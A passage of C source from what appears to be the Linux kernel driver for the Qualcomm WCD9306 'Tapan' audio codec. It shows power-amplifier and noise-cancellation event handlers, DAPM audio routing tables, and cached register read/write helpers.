__func__, pa_settle_time / 1000, w->name);
/* Time needed for PA to settle */
usleep_range(pa_settle_time, pa_settle_time + 1000);
/* Let MBHC module know PA turned off */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, e_post_off);
wcd9xxx_clsh_fsm(codec, &tapan->clsh_d,
req_clsh_state,
WCD9XXX_CLSH_REQ_DISABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
break;
}
return 0;
}
static int tapan_codec_enable_anc_hph(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
int ret = 0;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
ret = tapan_hph_pa_event(w, kcontrol, event);
if (w->shift == 4) {
ret |= tapan_codec_enable_anc(w, kcontrol, event);
msleep(50);
}
break;
case SND_SOC_DAPM_POST_PMU:
if (w->shift == 4) {
snd_soc_update_bits(codec,
TAPAN_A_RX_HPH_CNP_EN, 0x30, 0x30);
msleep(30);
}
ret = tapan_hph_pa_event(w, kcontrol, event);
break;
case SND_SOC_DAPM_PRE_PMD:
if (w->shift == 5) {
snd_soc_update_bits(codec,
TAPAN_A_RX_HPH_CNP_EN, 0x30, 0x00);
msleep(40);
snd_soc_update_bits(codec,
TAPAN_A_TX_7_MBHC_EN, 0x80, 00);
ret |= tapan_codec_enable_anc(w, kcontrol, event);
}
break;
case SND_SOC_DAPM_POST_PMD:
ret = tapan_hph_pa_event(w, kcontrol, event);
break;
}
return ret;
}
static const struct snd_soc_dapm_widget tapan_dapm_i2s_widgets[] = {
SND_SOC_DAPM_SUPPLY("I2S_CLK", TAPAN_A_CDC_CLK_I2S_CTL,
4, 0, NULL, 0),
};
static int tapan_lineout_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
wcd9xxx_clsh_fsm(codec, &tapan->clsh_d,
WCD9XXX_CLSH_STATE_LO,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
snd_soc_update_bits(codec, w->reg, 0x40, 0x40);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, w->reg, 0x40, 0x00);
break;
}
return 0;
}
static int tapan_spk_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
return 0;
}
static const struct snd_soc_dapm_route audio_i2s_map[] = {
{"I2S_CLK", NULL, "CDC_CONN"},
{"SLIM RX1", NULL, "I2S_CLK"},
{"SLIM RX2", NULL, "I2S_CLK"},
{"SLIM TX1 MUX", NULL, "I2S_CLK"},
{"SLIM TX2 MUX", NULL, "I2S_CLK"},
};
static const struct snd_soc_dapm_route wcd9306_map[] = {
{"SLIM TX1 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX2 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX3 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX4 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX5 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX1 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX1 MUX", "DEC4", "DEC4 MUX"},
{"SLIM TX2 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX2 MUX", "DEC4", "DEC4 MUX"},
{"SLIM TX3 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX4 MUX", "DEC4", "DEC4 MUX"},
{"ANC EAR", NULL, "ANC EAR PA"},
{"ANC EAR PA", NULL, "EAR_PA_MIXER"},
{"ANC1 FB MUX", "EAR_HPH_L", "RX1 MIX2"},
{"ANC1 FB MUX", "EAR_LINE_1", "RX2 MIX2"},
{"ANC HEADPHONE", NULL, "ANC HPHL"},
{"ANC HEADPHONE", NULL, "ANC HPHR"},
{"ANC HPHL", NULL, "HPHL_PA_MIXER"},
{"ANC HPHR", NULL, "HPHR_PA_MIXER"},
{"ANC1 MUX", "ADC1", "ADC1"},
{"ANC1 MUX", "ADC2", "ADC2"},
{"ANC1 MUX", "ADC3", "ADC3"},
{"ANC1 MUX", "ADC4", "ADC4"},
{"ANC1 MUX", "ADC5", "ADC5"},
{"ANC1 MUX", "DMIC1", "DMIC1"},
{"ANC1 MUX", "DMIC2", "DMIC2"},
{"ANC1 MUX", "DMIC3", "DMIC3"},
{"ANC1 MUX", "DMIC4", "DMIC4"},
{"ANC2 MUX", "ADC1", "ADC1"},
{"ANC2 MUX", "ADC2", "ADC2"},
{"ANC2 MUX", "ADC3", "ADC3"},
{"ANC2 MUX", "ADC4", "ADC4"},
{"ANC2 MUX", "ADC5", "ADC5"},
{"ANC2 MUX", "DMIC1", "DMIC1"},
{"ANC2 MUX", "DMIC2", "DMIC2"},
{"ANC2 MUX", "DMIC3", "DMIC3"},
{"ANC2 MUX", "DMIC4", "DMIC4"},
{"ANC HPHR", NULL, "CDC_CONN"},
{"RDAC5 MUX", "DEM4", "RX4 MIX2"},
{"SPK DAC", "Switch", "RX4 MIX2"},
{"RX1 MIX2", NULL, "ANC1 MUX"},
{"RX2 MIX2", NULL, "ANC2 MUX"},
{"RX1 MIX1", NULL, "COMP1_CLK"},
{"RX2 MIX1", NULL, "COMP1_CLK"},
{"RX3 MIX1", NULL, "COMP2_CLK"},
{"RX4 MIX1", NULL, "COMP0_CLK"},
{"RX4 MIX1", NULL, "RX4 MIX1 INP1"},
{"RX4 MIX1", NULL, "RX4 MIX1 INP2"},
{"RX4 MIX2", NULL, "RX4 MIX1"},
{"RX4 MIX2", NULL, "RX4 MIX2 INP1"},
{"RX4 MIX2", NULL, "RX4 MIX2 INP2"},
{"RX4 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX4 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX4 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX4 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX4 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX4 MIX1 INP1", "IIR1", "IIR1"},
{"RX4 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX4 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX4 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX4 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX4 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX4 MIX1 INP2", "IIR1", "IIR1"},
{"RX4 MIX2 INP1", "IIR1", "IIR1"},
{"RX4 MIX2 INP2", "IIR1", "IIR1"},
{"DEC1 MUX", "DMIC3", "DMIC3"},
{"DEC1 MUX", "DMIC4", "DMIC4"},
{"DEC2 MUX", "DMIC3", "DMIC3"},
{"DEC2 MUX", "DMIC4", "DMIC4"},
{"DEC3 MUX", "ADC1", "ADC1"},
{"DEC3 MUX", "ADC2", "ADC2"},
{"DEC3 MUX", "ADC3", "ADC3"},
{"DEC3 MUX", "ADC4", "ADC4"},
{"DEC3 MUX", "ADC5", "ADC5"},
{"DEC3 MUX", "DMIC1", "DMIC1"},
{"DEC3 MUX", "DMIC2", "DMIC2"},
{"DEC3 MUX", "DMIC3", "DMIC3"},
{"DEC3 MUX", "DMIC4", "DMIC4"},
{"DEC3 MUX", NULL, "CDC_CONN"},
{"DEC4 MUX", "ADC1", "ADC1"},
{"DEC4 MUX", "ADC2", "ADC2"},
{"DEC4 MUX", "ADC3", "ADC3"},
{"DEC4 MUX", "ADC4", "ADC4"},
{"DEC4 MUX", "ADC5", "ADC5"},
{"DEC4 MUX", "DMIC1", "DMIC1"},
{"DEC4 MUX", "DMIC2", "DMIC2"},
{"DEC4 MUX", "DMIC3", "DMIC3"},
{"DEC4 MUX", "DMIC4", "DMIC4"},
{"DEC4 MUX", NULL, "CDC_CONN"},
{"ADC5", NULL, "AMIC5"},
{"AUX_PGA_Left", NULL, "AMIC5"},
{"IIR1 INP1 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP1 MUX", "DEC4", "DEC4 MUX"},
{"MIC BIAS3 Internal1", NULL, "LDO_H"},
{"MIC BIAS3 Internal2", NULL, "LDO_H"},
{"MIC BIAS3 External", NULL, "LDO_H"},
};
static const struct snd_soc_dapm_route audio_map[] = {
/* SLIMBUS Connections */
{"AIF1 CAP", NULL, "AIF1_CAP Mixer"},
{"AIF2 CAP", NULL, "AIF2_CAP Mixer"},
{"AIF3 CAP", NULL, "AIF3_CAP Mixer"},
/* SLIM_MIXER("AIF1_CAP Mixer"),*/
{"AIF1_CAP Mixer", "SLIM TX1", "SLIM TX1 MUX"},
{"AIF1_CAP Mixer", "SLIM TX2", "SLIM TX2 MUX"},
{"AIF1_CAP Mixer", "SLIM TX3", "SLIM TX3 MUX"},
{"AIF1_CAP Mixer", "SLIM TX4", "SLIM TX4 MUX"},
{"AIF1_CAP Mixer", "SLIM TX5", "SLIM TX5 MUX"},
/* SLIM_MIXER("AIF2_CAP Mixer"),*/
{"AIF2_CAP Mixer", "SLIM TX1", "SLIM TX1 MUX"},
{"AIF2_CAP Mixer", "SLIM TX2", "SLIM TX2 MUX"},
{"AIF2_CAP Mixer", "SLIM TX3", "SLIM TX3 MUX"},
{"AIF2_CAP Mixer", "SLIM TX4", "SLIM TX4 MUX"},
{"AIF2_CAP Mixer", "SLIM TX5", "SLIM TX5 MUX"},
/* SLIM_MIXER("AIF3_CAP Mixer"),*/
{"AIF3_CAP Mixer", "SLIM TX1", "SLIM TX1 MUX"},
{"AIF3_CAP Mixer", "SLIM TX2", "SLIM TX2 MUX"},
{"AIF3_CAP Mixer", "SLIM TX3", "SLIM TX3 MUX"},
{"AIF3_CAP Mixer", "SLIM TX4", "SLIM TX4 MUX"},
{"AIF3_CAP Mixer", "SLIM TX5", "SLIM TX5 MUX"},
{"SLIM TX1 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX1 MUX", "DEC2", "DEC2 MUX"},
{"SLIM TX1 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX1 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX1 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX2 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX2 MUX", "DEC2", "DEC2 MUX"},
{"SLIM TX2 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX2 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX2 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX3 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX3 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX3 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX4 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX4 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX4 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX5 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX5 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX5 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX5 MUX", "RMIX3", "RX3 MIX1"},
/* Earpiece (RX MIX1) */
{"EAR", NULL, "EAR PA"},
{"EAR PA", NULL, "EAR_PA_MIXER"},
{"EAR_PA_MIXER", NULL, "DAC1"},
{"DAC1", NULL, "RX_BIAS"},
{"DAC1", NULL, "CDC_CP_VDD"},
/* Headset (RX MIX1 and RX MIX2) */
{"HEADPHONE", NULL, "HPHL"},
{"HEADPHONE", NULL, "HPHR"},
{"HPHL", NULL, "HPHL_PA_MIXER"},
{"HPHL_PA_MIXER", NULL, "HPHL DAC"},
{"HPHL DAC", NULL, "RX_BIAS"},
{"HPHL DAC", NULL, "CDC_CP_VDD"},
{"HPHR", NULL, "HPHR_PA_MIXER"},
{"HPHR_PA_MIXER", NULL, "HPHR DAC"},
{"HPHR DAC", NULL, "RX_BIAS"},
{"HPHR DAC", NULL, "CDC_CP_VDD"},
{"DAC1", "Switch", "CLASS_H_DSM MUX"},
{"HPHL DAC", "Switch", "CLASS_H_DSM MUX"},
{"HPHR DAC", NULL, "RDAC3 MUX"},
{"LINEOUT1", NULL, "LINEOUT1 PA"},
{"LINEOUT2", NULL, "LINEOUT2 PA"},
{"SPK_OUT", NULL, "SPK PA"},
{"LINEOUT1 PA", NULL, "LINEOUT1_PA_MIXER"},
{"LINEOUT1_PA_MIXER", NULL, "LINEOUT1 DAC"},
{"LINEOUT2 PA", NULL, "LINEOUT2_PA_MIXER"},
{"LINEOUT2_PA_MIXER", NULL, "LINEOUT2 DAC"},
{"RDAC5 MUX", "DEM3_INV", "RX3 MIX1"},
{"LINEOUT2 DAC", NULL, "RDAC5 MUX"},
{"RDAC4 MUX", "DEM3", "RX3 MIX1"},
{"RDAC4 MUX", "DEM2", "RX2 CHAIN"},
{"LINEOUT1 DAC", NULL, "RDAC4 MUX"},
{"SPK PA", NULL, "SPK DAC"},
{"SPK DAC", NULL, "VDD_SPKDRV"},
{"RX1 INTERPOLATOR", NULL, "RX1 MIX2"},
{"RX1 CHAIN", NULL, "RX1 INTERPOLATOR"},
{"RX2 INTERPOLATOR", NULL, "RX2 MIX2"},
{"RX2 CHAIN", NULL, "RX2 INTERPOLATOR"},
{"CLASS_H_DSM MUX", "RX_HPHL", "RX1 CHAIN"},
{"LINEOUT1 DAC", NULL, "RX_BIAS"},
{"LINEOUT2 DAC", NULL, "RX_BIAS"},
{"LINEOUT1 DAC", NULL, "CDC_CP_VDD"},
{"LINEOUT2 DAC", NULL, "CDC_CP_VDD"},
{"RDAC3 MUX", "DEM2", "RX2 CHAIN"},
{"RDAC3 MUX", "DEM1", "RX1 CHAIN"},
{"RX1 MIX1", NULL, "RX1 MIX1 INP1"},
{"RX1 MIX1", NULL, "RX1 MIX1 INP2"},
{"RX1 MIX1", NULL, "RX1 MIX1 INP3"},
{"RX2 MIX1", NULL, "RX2 MIX1 INP1"},
{"RX2 MIX1", NULL, "RX2 MIX1 INP2"},
{"RX3 MIX1", NULL, "RX3 MIX1 INP1"},
{"RX3 MIX1", NULL, "RX3 MIX1 INP2"},
{"RX1 MIX2", NULL, "RX1 MIX1"},
{"RX1 MIX2", NULL, "RX1 MIX2 INP1"},
{"RX1 MIX2", NULL, "RX1 MIX2 INP2"},
{"RX2 MIX2", NULL, "RX2 MIX1"},
{"RX2 MIX2", NULL, "RX2 MIX2 INP1"},
{"RX2 MIX2", NULL, "RX2 MIX2 INP2"},
/* SLIM_MUX("AIF1_PB", "AIF1 PB"),*/
{"SLIM RX1 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX2 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX3 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX4 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX5 MUX", "AIF1_PB", "AIF1 PB"},
/* SLIM_MUX("AIF2_PB", "AIF2 PB"),*/
{"SLIM RX1 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX2 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX3 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX4 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX5 MUX", "AIF2_PB", "AIF2 PB"},
/* SLIM_MUX("AIF3_PB", "AIF3 PB"),*/
{"SLIM RX1 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX2 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX3 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX4 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX5 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX1", NULL, "SLIM RX1 MUX"},
{"SLIM RX2", NULL, "SLIM RX2 MUX"},
{"SLIM RX3", NULL, "SLIM RX3 MUX"},
{"SLIM RX4", NULL, "SLIM RX4 MUX"},
{"SLIM RX5", NULL, "SLIM RX5 MUX"},
{"RX1 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX1 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX1 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX1 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX1 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX1 MIX1 INP1", "IIR1", "IIR1"},
{"RX1 MIX1 INP1", "IIR2", "IIR2"},
{"RX1 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX1 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX1 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX1 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX1 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX1 MIX1 INP2", "IIR1", "IIR1"},
{"RX1 MIX1 INP2", "IIR2", "IIR2"},
{"RX1 MIX1 INP3", "RX1", "SLIM RX1"},
{"RX1 MIX1 INP3", "RX2", "SLIM RX2"},
{"RX1 MIX1 INP3", "RX3", "SLIM RX3"},
{"RX1 MIX1 INP3", "RX4", "SLIM RX4"},
{"RX1 MIX1 INP3", "RX5", "SLIM RX5"},
{"RX2 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX2 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX2 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX2 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX2 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX2 MIX1 INP1", "IIR1", "IIR1"},
{"RX2 MIX1 INP1", "IIR2", "IIR2"},
{"RX2 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX2 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX2 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX2 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX2 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX2 MIX1 INP2", "IIR1", "IIR1"},
{"RX2 MIX1 INP2", "IIR2", "IIR2"},
{"RX3 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX3 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX3 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX3 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX3 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX3 MIX1 INP1", "IIR1", "IIR1"},
{"RX3 MIX1 INP1", "IIR2", "IIR2"},
{"RX3 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX3 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX3 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX3 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX3 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX3 MIX1 INP2", "IIR1", "IIR1"},
{"RX3 MIX1 INP2", "IIR2", "IIR2"},
{"RX1 MIX2 INP1", "IIR1", "IIR1"},
{"RX1 MIX2 INP2", "IIR1", "IIR1"},
{"RX2 MIX2 INP1", "IIR1", "IIR1"},
{"RX2 MIX2 INP2", "IIR1", "IIR1"},
{"RX1 MIX2 INP1", "IIR2", "IIR2"},
{"RX1 MIX2 INP2", "IIR2", "IIR2"},
{"RX2 MIX2 INP1", "IIR2", "IIR2"},
{"RX2 MIX2 INP2", "IIR2", "IIR2"},
/* Decimator Inputs */
{"DEC1 MUX", "ADC1", "ADC1"},
{"DEC1 MUX", "ADC2", "ADC2"},
{"DEC1 MUX", "ADC3", "ADC3"},
{"DEC1 MUX", "ADC4", "ADC4"},
{"DEC1 MUX", "DMIC1", "DMIC1"},
{"DEC1 MUX", "DMIC2", "DMIC2"},
{"DEC1 MUX", NULL, "CDC_CONN"},
{"DEC2 MUX", "ADC1", "ADC1"},
{"DEC2 MUX", "ADC2", "ADC2"},
{"DEC2 MUX", "ADC3", "ADC3"},
{"DEC2 MUX", "ADC4", "ADC4"},
{"DEC2 MUX", "DMIC1", "DMIC1"},
{"DEC2 MUX", "DMIC2", "DMIC2"},
{"DEC2 MUX", NULL, "CDC_CONN"},
/* ADC Connections */
{"ADC1", NULL, "AMIC1"},
{"ADC2", NULL, "AMIC2"},
{"ADC3", NULL, "AMIC3"},
{"ADC4", NULL, "AMIC4"},
/* AUX PGA Connections */
{"EAR_PA_MIXER", "AUX_PGA_L Switch", "AUX_PGA_Left"},
{"HPHL_PA_MIXER", "AUX_PGA_L Switch", "AUX_PGA_Left"},
{"HPHR_PA_MIXER", "AUX_PGA_R Switch", "AUX_PGA_Right"},
{"LINEOUT1_PA_MIXER", "AUX_PGA_L Switch", "AUX_PGA_Left"},
{"LINEOUT2_PA_MIXER", "AUX_PGA_R Switch", "AUX_PGA_Right"},
{"MIC BIAS1 Internal1", NULL, "LDO_H"},
{"MIC BIAS1 Internal2", NULL, "LDO_H"},
{"MIC BIAS1 External", NULL, "LDO_H"},
{"MIC BIAS2 Internal1", NULL, "LDO_H"},
{"MIC BIAS2 Internal2", NULL, "LDO_H"},
{"MIC BIAS2 Internal3", NULL, "LDO_H"},
{"MIC BIAS2 External", NULL, "LDO_H"},
{DAPM_MICBIAS2_EXTERNAL_STANDALONE, NULL, "LDO_H Standalone"},
/*sidetone path enable*/
{"IIR1", NULL, "IIR1 INP1 MUX"},
{"IIR1 INP1 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP1 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP1 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP1 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP1 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP1 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP1 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP1 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP1 MUX", "RX5", "SLIM RX5"},
{"IIR1", NULL, "IIR1 INP2 MUX"},
{"IIR1 INP2 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP2 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP2 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP2 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP2 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP2 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP2 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP2 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP2 MUX", "RX5", "SLIM RX5"},
{"IIR1", NULL, "IIR1 INP3 MUX"},
{"IIR1 INP3 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP3 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP3 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP3 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP3 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP3 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP3 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP3 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP3 MUX", "RX5", "SLIM RX5"},
{"IIR1", NULL, "IIR1 INP4 MUX"},
{"IIR1 INP4 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP4 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP4 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP4 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP4 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP4 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP4 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP4 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP4 MUX", "RX5", "SLIM RX5"},
{"IIR2", NULL, "IIR2 INP1 MUX"},
{"IIR2 INP1 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP1 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP1 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP1 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP1 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP1 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP1 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP1 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP1 MUX", "RX5", "SLIM RX5"},
{"IIR2", NULL, "IIR2 INP2 MUX"},
{"IIR2 INP2 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP2 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP2 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP2 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP2 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP2 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP2 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP2 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP2 MUX", "RX5", "SLIM RX5"},
{"IIR2", NULL, "IIR2 INP3 MUX"},
{"IIR2 INP3 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP3 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP3 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP3 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP3 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP3 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP3 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP3 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP3 MUX", "RX5", "SLIM RX5"},
{"IIR2", NULL, "IIR2 INP4 MUX"},
{"IIR2 INP4 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP4 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP4 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP4 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP4 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP4 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP4 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP4 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP4 MUX", "RX5", "SLIM RX5"},
};
static const struct snd_soc_dapm_route wcd9302_map[] = {
{"SPK DAC", "Switch", "RX3 MIX1"},
{"RDAC5 MUX", "DEM4", "RX3 MIX1"},
{"RDAC5 MUX", "DEM3_INV", "RDAC4 MUX"},
};
static int tapan_readable(struct snd_soc_codec *ssc, unsigned int reg)
{
return tapan_reg_readable[reg];
}
static bool tapan_is_digital_gain_register(unsigned int reg)
{
bool rtn = false;
switch (reg) {
case TAPAN_A_CDC_RX1_VOL_CTL_B2_CTL:
case TAPAN_A_CDC_RX2_VOL_CTL_B2_CTL:
case TAPAN_A_CDC_RX3_VOL_CTL_B2_CTL:
case TAPAN_A_CDC_RX4_VOL_CTL_B2_CTL:
case TAPAN_A_CDC_TX1_VOL_CTL_GAIN:
case TAPAN_A_CDC_TX2_VOL_CTL_GAIN:
case TAPAN_A_CDC_TX3_VOL_CTL_GAIN:
case TAPAN_A_CDC_TX4_VOL_CTL_GAIN:
rtn = true;
break;
default:
break;
}
return rtn;
}
static int tapan_volatile(struct snd_soc_codec *ssc, unsigned int reg)
{
int i = 0;
/* Registers lower than 0x100 are top level registers which can be
* written by the Tapan core driver.
*/
if ((reg >= TAPAN_A_CDC_MBHC_EN_CTL) || (reg < 0x100))
return 1;
/* IIR Coeff registers are not cacheable */
if ((reg >= TAPAN_A_CDC_IIR1_COEF_B1_CTL) &&
(reg <= TAPAN_A_CDC_IIR2_COEF_B2_CTL))
return 1;
/* ANC filter registers are not cacheable */
if ((reg >= TAPAN_A_CDC_ANC1_IIR_B1_CTL) &&
(reg <= TAPAN_A_CDC_ANC1_LPF_B2_CTL))
return 1;
if ((reg >= TAPAN_A_CDC_ANC2_IIR_B1_CTL) &&
(reg <= TAPAN_A_CDC_ANC2_LPF_B2_CTL))
return 1;
/* Digital gain register is not cacheable so we have to write
* the setting even it is the same
*/
if (tapan_is_digital_gain_register(reg))
return 1;
/* HPH status registers */
if (reg == TAPAN_A_RX_HPH_L_STATUS || reg == TAPAN_A_RX_HPH_R_STATUS)
return 1;
if (reg == TAPAN_A_MBHC_INSERT_DET_STATUS)
return 1;
for (i = 0; i < ARRAY_SIZE(audio_reg_cfg); i++)
if (audio_reg_cfg[i].reg_logical_addr -
TAPAN_REGISTER_START_OFFSET == reg)
return 1;
return 0;
}
#define TAPAN_FORMATS (SNDRV_PCM_FMTBIT_S16_LE)
#define TAPAN_FORMATS_S16_S24_LE (SNDRV_PCM_FMTBIT_S16_LE | \
SNDRV_PCM_FORMAT_S24_LE)
static int tapan_write(struct snd_soc_codec *codec, unsigned int reg,
unsigned int value)
{
int ret;
struct wcd9xxx *wcd9xxx = codec->control_data;
if (reg == SND_SOC_NOPM)
return 0;
BUG_ON(reg > TAPAN_MAX_REGISTER);
if (!tapan_volatile(codec, reg)) {
ret = snd_soc_cache_write(codec, reg, value);
if (ret != 0)
dev_err(codec->dev, "Cache write to %x failed: %d\n",
reg, ret);
}
return wcd9xxx_reg_write(&wcd9xxx->core_res, reg, value);
}
static unsigned int tapan_read(struct snd_soc_codec *codec,
unsigned int reg)
{
unsigned int val;
int ret;
struct wcd9xxx *wcd9xxx = codec->control_data;
if (reg == SND_SOC_NOPM)
return 0;
BUG_ON(reg > TAPAN_MAX_REGISTER);
if (!tapan_volatile(codec, reg) && tapan_readable(codec, reg) &&
reg < codec->driver->reg_cache_size) {
ret = snd_soc_cache_read(codec, reg, &val);
if (ret >= 0) {
return val;
} else
